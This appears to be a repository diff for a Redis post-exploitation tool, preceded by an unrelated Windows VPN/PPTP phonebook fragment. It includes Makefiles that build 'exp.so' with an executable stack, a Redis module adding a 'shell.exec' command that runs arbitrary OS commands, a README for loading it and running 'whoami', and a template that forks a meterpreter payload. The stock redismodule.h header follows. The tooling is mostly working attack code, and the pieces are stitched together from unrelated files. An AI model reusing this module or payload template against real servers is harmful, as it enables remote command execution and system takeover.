HighDateTime=30248544
DialParamsUID=849441
Guid=174463CE6AAFD4458FC57A466A95B787
VpnStrategy=1
ExcludedProtocols=0
LcpExtensions=1
DataEncryption=8
SwCompression=0
NegotiateMultilinkAlways=0
SkipDoubleDialDialog=0
DialMode=0
OverridePref=15
RedialAttempts=3
RedialSeconds=60
IdleDisconnectSeconds=0
RedialOnLinkFailure=1
CallbackMode=0
CustomDialDll=
CustomDialFunc=
CustomRasDialDll=
ForceSecureCompartment=0
DisableIKENameEkuCheck=0
AuthenticateServer=0
ShareMsFilePrint=1
BindMsNetClient=1
SharedPhoneNumbers=0
GlobalDeviceSettings=0
PrerequisiteEntry=
PrerequisitePbk=
PreferredPort=VPN3-0
PreferredDevice=WAN Miniport (PPTP)
PreferredBps=0
PreferredHwFlow=1
PreferredProtocol=1
PreferredCompression=1
PreferredSpeaker=1
PreferredMdmProtocol=0
PreviewUserPw=1
PreviewDomain=1
PreviewPhoneNumber=0
ShowDialingProgress=1
ShowMonitorIconInTaskBar=1
CustomAuthKey=0
AuthRestrictions=544
IpPrioritizeRemote=1
IpInterfaceMetric=0
IpHeaderCompression=0
IpAddress=0.0.0.0
IpDnsAddress=0.0.0.0
IpDns2Address=0.0.0.0
IpWinsAddress=0.0.0.0
IpWins2Address=0.0.0.0
IpAssign=1
IpNameAssign=1
IpDnsFlags=0
IpNBTFlags=1
TcpWindowSize=0
UseFlags=2
IpSecFlags=0
IpDnsSuffix=
Ipv6Assign=1
Ipv6Address=::
Ipv6PrefixLength=0
Ipv6PrioritizeRemote=1
Ipv6InterfaceMetric=0
Ipv6NameAssign=1
Ipv6DnsAddress=::
Ipv6Dns2Address=::
Ipv6Prefix=0000000000000000
Ipv6InterfaceId=0000000000000000
DisableClassBasedDefaultRoute=0
DisableMobility=0
NetworkOutageTime=0
ProvisionType=0
PreSharedKey=
NETCOMPONENTS=
ms_msclient=1
ms_server=1
MEDIA=rastapi
Port=VPN3-0
Device=WAN Miniport (PPTP)
DEVICE=vpn
PhoneNumber=127.0.0.1
AreaCode=
CountryCode=0
CountryID=0
UseDialingRules=0
Comment=
FriendlyName=
LastSelectedPhone=0
PromoteAlternates=0
TryNextAlternateOnFail=1
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=./
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=./rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil module.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
module.so: module.o
$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=../rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil exp.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
exp.so: exp.o
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+47
View File
@@ -0,0 +1,47 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "shell.exec",
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
BIN
View File
Binary file not shown.
+23
View File
@@ -0,0 +1,23 @@
## Intro
This is a compiled shared object file of redis module.
## Load redis extension
```
MODULE load ./exp.so
```
## Run command
```
redis-cli
127.0.0.1:6379> shell.exec "whoami"
```
## Compile
You can modify the exp.c source code if you want.
And the compile it to exp.so in current directory.
```
make
```
+38
View File
@@ -0,0 +1,38 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
pid_t child_pid = fork();
if (child_pid == 0)
{
// Your meterpreter shell here
<%= buf %>
int (*ret)() = (int(*)())buf;
ret();
}
else
{wait(NULL);}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
+509
View File
@@ -0,0 +1,509 @@
#ifndef REDISMODULE_H
#define REDISMODULE_H
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
/* ---------------- Defines common between core and modules --------------- */
/* Error status return values. */
#define REDISMODULE_OK 0
#define REDISMODULE_ERR 1
/* API versions. */
#define REDISMODULE_APIVER_1 1
/* API flags and constants */
#define REDISMODULE_READ (1<<0)
#define REDISMODULE_WRITE (1<<1)
#define REDISMODULE_LIST_HEAD 0
#define REDISMODULE_LIST_TAIL 1
/* Key types. */
#define REDISMODULE_KEYTYPE_EMPTY 0
#define REDISMODULE_KEYTYPE_STRING 1
#define REDISMODULE_KEYTYPE_LIST 2
#define REDISMODULE_KEYTYPE_HASH 3
#define REDISMODULE_KEYTYPE_SET 4
#define REDISMODULE_KEYTYPE_ZSET 5
#define REDISMODULE_KEYTYPE_MODULE 6
/* Reply types. */
#define REDISMODULE_REPLY_UNKNOWN -1
#define REDISMODULE_REPLY_STRING 0
#define REDISMODULE_REPLY_ERROR 1
#define REDISMODULE_REPLY_INTEGER 2
#define REDISMODULE_REPLY_ARRAY 3
#define REDISMODULE_REPLY_NULL 4
/* Postponed array length. */
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
/* Expire */
#define REDISMODULE_NO_EXPIRE -1
/* Sorted set API flags. */
#define REDISMODULE_ZADD_XX (1<<0)
#define REDISMODULE_ZADD_NX (1<<1)
#define REDISMODULE_ZADD_ADDED (1<<2)
#define REDISMODULE_ZADD_UPDATED (1<<3)
#define REDISMODULE_ZADD_NOP (1<<4)
/* Hash API flags. */
#define REDISMODULE_HASH_NONE 0
#define REDISMODULE_HASH_NX (1<<0)
#define REDISMODULE_HASH_XX (1<<1)
#define REDISMODULE_HASH_CFIELDS (1<<2)
#define REDISMODULE_HASH_EXISTS (1<<3)
/* Context Flags: Info about the current context returned by
* RM_GetContextFlags(). */
/* The command is running in the context of a Lua script */
#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
/* The command is running inside a Redis transaction */
#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
/* The instance is a master */
#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
/* The instance is a slave */
#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
/* The instance is read-only (usually meaning it's a slave as well) */
#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
/* The instance is running in cluster mode */
#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
/* The instance has AOF enabled */
#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
/* The instance has RDB enabled */
#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
/* The instance has Maxmemory set */
#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
/* Maxmemory is set and has an eviction policy that may delete keys */
#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
/* Redis is out of memory according to the maxmemory flag. */
#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
/* Less than 25% of memory available according to maxmemory. */
#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
#define REDISMODULE_NOTIFY_STREAM (1<<10) /* t */
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM) /* A */
/* A special pointer that we can use between the core and the module to signal
* field deletion, and that is impossible to be a valid pointer. */
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
/* Error messages. */
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
/* Cluster API defines. */
#define REDISMODULE_NODE_ID_LEN 40
#define REDISMODULE_NODE_MYSELF (1<<0)
#define REDISMODULE_NODE_MASTER (1<<1)
#define REDISMODULE_NODE_SLAVE (1<<2)
#define REDISMODULE_NODE_PFAIL (1<<3)
#define REDISMODULE_NODE_FAIL (1<<4)
#define REDISMODULE_NODE_NOFAILOVER (1<<5)
#define REDISMODULE_CLUSTER_FLAG_NONE 0
#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
#define REDISMODULE_NOT_USED(V) ((void) V)
/* This type represents a timer handle, and is returned when a timer is
* registered and used in order to invalidate a timer. It's just a 64 bit
* number, because this is how each timer is represented inside the radix tree
* of timers that are going to expire, sorted by expire time. */
typedef uint64_t RedisModuleTimerID;
/* ------------------------- End of common defines ------------------------ */
#ifndef REDISMODULE_CORE
typedef long long mstime_t;
/* Incomplete structures for compiler checks but opaque access. */
typedef struct RedisModuleCtx RedisModuleCtx;
typedef struct RedisModuleKey RedisModuleKey;
typedef struct RedisModuleString RedisModuleString;
typedef struct RedisModuleCallReply RedisModuleCallReply;
typedef struct RedisModuleIO RedisModuleIO;
typedef struct RedisModuleType RedisModuleType;
typedef struct RedisModuleDigest RedisModuleDigest;
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
typedef struct RedisModuleDict RedisModuleDict;
typedef struct RedisModuleDictIter RedisModuleDictIter;
typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
typedef void (*RedisModuleTypeFreeFunc)(void *value);
typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
#define REDISMODULE_TYPE_METHOD_VERSION 1
typedef struct RedisModuleTypeMethods {
uint64_t version;
RedisModuleTypeLoadFunc rdb_load;
RedisModuleTypeSaveFunc rdb_save;
RedisModuleTypeRewriteFunc aof_rewrite;
RedisModuleTypeMemUsageFunc mem_usage;
RedisModuleTypeDigestFunc digest;
RedisModuleTypeFreeFunc free;
} RedisModuleTypeMethods;
#define REDISMODULE_GET_API(name) \
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
#define REDISMODULE_API_FUNC(x) (*x)
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
/* Experimental APIs */
#ifdef REDISMODULE_EXPERIMENTAL_API
#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
